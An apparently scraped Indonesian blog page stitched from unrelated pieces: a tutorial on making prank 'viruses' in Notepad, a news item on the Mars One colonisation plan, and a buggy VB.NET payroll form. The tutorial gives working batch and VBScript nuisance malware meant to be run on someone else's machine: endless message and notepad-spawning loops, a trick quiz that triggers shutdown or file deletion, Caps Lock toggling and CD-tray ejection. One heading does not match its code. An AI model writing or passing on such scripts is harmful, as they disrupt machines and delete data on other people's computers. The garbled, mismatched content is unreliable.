Cara Membuat Virus Dengan Notepad

Cara Membuat Virus Dengan Notepad

Cara membuat virus sederhana dengan notepad , hanya untuk pengetahuan aja gan jangan disalah gunakan untuk hal2 yg tidak baik hehe. , berikut tutorialnya gan

1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off

:

Begin

msg * Lagi ngapain ?

msg * Hayo buka apa ?

msg * Nanti dimarahin ama mak loe

msg * Makannya jangan sembrono !

msg * minta bantuan gih sono !

msg * Udah instal ulang aja !!!!

msg * tit............................

GOTO BEGIN

bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh cyber4rt.bat



2.  pertanyaan menjebak
script nya

@echo off

title quiz hari ini 

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo rusak

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

simpan dengan .bat contoh contoh = quizcyber4rt.bat

3. Membuka notepad terus-menerus
script nya

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

sama simpan dengan .bat

4. komputer mati sendiri dan ngirim message

script nya

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

simpan dengan .vbs

5. buka tutup cd room terus menerus

script nya

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

"Manusia akan dipindahkan ke Mars"

Mungkinkah Manusia Akan Mengolonisasi Mars ?

 

Misi ambisius ke Mars ditawarkan oleh organisasi asal Belanda, Mars One. Organisasi itu berencana mengirim manusia ke Mars tanpa ada kesempatan kembali. Perjalanan ke Mars memakan waktu 8 bulan dan sesudahnya manusia yang dikirim diharapkan bisa mengolonisasi planet merah itu.

 

Pertanyaannya, mungkinkah manusia dengan teknologi saat ini sampai ke Mars dan mengolonisasinya? 

 

Pihak Mars One menyatakan optimisme bahwa manusia bisa melakukannya. Namun, para ahli mengungkap tantangannya.

 

Salah satu tantangannya adalah radiasi. Medan magnet Bumi melindungi manusia dari pengaruh radiasi. Namun, di luar angkasa, manusia tidak punya pelindung. Baik dalam perjalanan maupun setibanya di Mars, manusia berpotensi terpapar radiasi.

 

"Paparan radiasi menjadi salah satu perhatian, terutama selama perjalanan. Ini bisa memicu kanker, penurunan kekebalan tubuh, dan mungkin juga kemandulan," ungkap Veronica Bray dari Lunar and Planetary Laboratory, University of Arizona.

 

"Saya yakin kita secara fisik bisa menempatkan manusia di Mars. Namun, apakah mereka bisa survive dalam jangka waktu lama, itu meragukan," kata Bray seperti dikutip BBC (17/4/2013).

 

Astronot NASA yang pernah menjalankan misi ke International Space Station (ISS), Stan Love, mengungkapkan kesulitan hidup di luar angkasa. Misalnya, permasalahan pada alat penunjang kehidupan tidak mudah diatasi.

 

Love mengungkapkan, peralatan yang mendukung proses daur ulang takkan mudah diatasi. Padahal, di Mars nanti, manusia akan sangat tergantung pada alat. Peralatan butuh pemeliharaan secara berkala, dan sulit bertahan dalam waktu lama berada di Mars.

 

Love baru-baru ini kembali dari Antartika. Dari komentarnya, ia ingin mengatakan bahwa kondisi di Mars benar-benar asing dan jauh lebih ekstrem dibandingkan Antartika yang sudah dianggap ekstrem oleh manusia umumnya.

 

"Antartika dipenuhi air, Anda bisa pergi ke luar dan menghirup udara. Antartika adalah surga dibandingkan Mars dan hingga saat ini belum ada yang pindah secara permanen ke sana," ungkap Love.

 

Di luar tantangan yang terprediksi, masih banyak tantangan lain yang tak terbayangkan. Misalnya, masalah hidup dalam kelompok kecil dan kehidupan personal lain. Belum bisa dipastikan juga apakah manusia juga bisa bereproduksi di Mars serta menghasilkan keturunan yang sehat.

 

Banyak pihak mengritik Mars One terkait pendanaan. Dana yang dibutuhkan sekitar 6 miliar dollar AS. Chris Lintott dari Oxford University menyatakan, meskipun mungkin secara teknologi mendukung, ia meyakini bahwa Mars One akan kesulitan mendapatkan pendanaan.

 

Meski demikian, Bas Lansdorp, co-founder Mars One, mengungkapkan tak khawatir dengan pendanaan. Dana akan digalang dari acara pemilihan manusia pertama yang pergi ke Mars. Acara akan ditayangkan di televisi dan diharapkan bisa membuahkan keuntungan untuk mendukung proyek.

"Ini akan menjadi hal terbesar yang manusia pernah lakukan. Dalam 15 tahun, orang masih akan melihat. Menjelajahi dunia kita, dan kini melampaui apa yang bisa dilakukan, itu semua ada di genom kita. Mimpi menduduki Mars akan menjadi nyata," katanya". rencana ini akan dilaksanakan pada tahun 2023.

 

PENGGAJIAN PEGAWAI MENGGUNAKAN LISTVIEW

LISTING PROGRAM:

Public Class form1

    Sub BuatTabel()

        ListView1.Columns.Add("Nik", 50, HorizontalAlignment.Left)

        ListView1.Columns.Add("Nama", 80, HorizontalAlignment.Left)

        ListView1.Columns.Add("Jabatan", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Gaji", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Status", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Tunjangan istri", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Jumlah Anak", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Tunjangan Anak", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Jam Lembur", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Honor lembur", 120, HorizontalAlignment.Left)

        ListView1.Columns.Add("Pajak", 90, HorizontalAlignment.Left)

        ListView1.Columns.Add("Total Gaji", 90, HorizontalAlignment.Left)

        ListView1.View = View.Details

        ListView1.GridLines = True

        ListView1.FullRowSelect = True

    End Sub

    Sub IsiTabel()

        Dim Lst As New ListViewItem

        Lst.Text = nik.Text

        Lst.SubItems.Add(nama.Text)

        Lst.SubItems.Add(jbtn.Text)

        Lst.SubItems.Add(gaji.Text)

        Lst.SubItems.Add(status.Text)

        Lst.SubItems.Add(tnjganistri.Text)

        Lst.SubItems.Add(jmlhanak.Text)

        Lst.SubItems.Add(tnjgnanak.Text)

        Lst.SubItems.Add(jamlmbur.Text)

        Lst.SubItems.Add(holembur.Text)

        Lst.SubItems.Add(pajak.Text)

        Lst.SubItems.Add(total.Text)

        ListView1.Items.Add(Lst)

    End Sub

    Private Sub jabatan_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jbtn.SelectedIndexChanged

        Select Case (jbtn.Text)

            Case "mandor" : gaji.Text = 1750000

            Case "kepala bagian" : gaji.Text = 2500000

            Case "staff" : gaji.Text = 1250000

        End Select

        pajak.Text = 0.015 * gaji.Text

    End Sub

    Private Sub status_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles status.SelectedIndexChanged

        Dim x As String

        x = Microsoft.VisualBasic.Mid(status.Text, 2)

        Select Case (status.Text)

            Case "Menikah" : tnjganistri.Text = 0.09 * gaji.Text

            Case "tidak menikah" : tnjganistri.Text = 0

                status.Text = Val(tnjganistri.Text) * Val(status.Text)

        End Select

    End Sub

    Private Sub jumlah_anak_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jmlhanak.SelectedIndexChanged

        Dim x As String

        x = Microsoft.VisualBasic.Mid(status.Text, 2)

        If jmlhanak.Text >= 2 And status.Text = "Menikah" Then

            tnjgnanak.Text = 0.07 * gaji.Text

        ElseIf jmlhanak.Text = 1 And status.Text = "menikah" Then

            tnjgnanak.Text = 0.03 * gaji.Text

        End If

        jmlhanak.Text = Val(tnjgnanak.Text) * Val(jmlhanak.Text)

    End Sub

    Private Sub nik_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles nik.SelectedIndexChanged

        If nik.Text = "001" Then

            nama.Text = "Fanny"

        ElseIf nik.Text = "002" Then

            nama.Text = "Lili"

        ElseIf nik.Text = "003" Then

            nama.Text = "iwan"

        End If

    End Sub

    Private Sub btn_proses_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnproses.Click

        If jbtn.Text = "mandor" Then

            holembur.Text = "7500"

        ElseIf jbtn.Text = "kepala bagian" Then

            holembur.Text = "1000"

        ElseIf jbtn.Text = "staff" Then

            holembur.Text = "5000"

        Else

            holembur.Text = 0

        End If

        total.Text = Val(jamlmbur.Text) + Val(gaji.Text) + Val(tnjganistri.Text) + Val(tnjgnanak.Text) - Val(pajak.Text)

    End Sub

   

  

    Private Sub btn_keluar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnkeluar.Click

        Me.Close()

    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnkeluar.Click

        nik.Text = ""

        nama.Text = ""

        jbtn.Text = ""

        gaji.Text = ""

        status.Text = ""

        tnjganistri.Text = ""

        jmlhanak.Text = ""

        tnjgnanak.Text = ""

        jamlmbur.Text = ""

        holembur.Text = ""

        pajak.Text = ""

        total.Text = ""

    End Sub

    Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        BuatTabel()

        nik.Items.Add("001")

        nik.Items.Add("002")

        nik.Items.Add("003")

        jbtn.Items.Add("mandor")

        jbtn.Items.Add("kepala bagian")

        jbtn.Items.Add("staff")

        status.Items.Add("Menikah")

        status.Items.Add("tidak menikah")

        For i = 1 To 4

            jmlhanak.Items.Add(i)

        Next i

        For i = 1 To 10

            jamlmbur.Items.Add(i)

        Next i

        Me.Text = "RAHMA YUNITA"

    End Sub

    Private Sub Btnsimpan_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Btnsimpan.Click

     IsiTabel()

    End Sub

   Private Sub btnhapusdatayangdipilih_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnhapusdatayangdipilih.Click

        ListView1.Items.Remove(ListView1.SelectedItems(0))

    End Sub

End Class

HASIL FORM: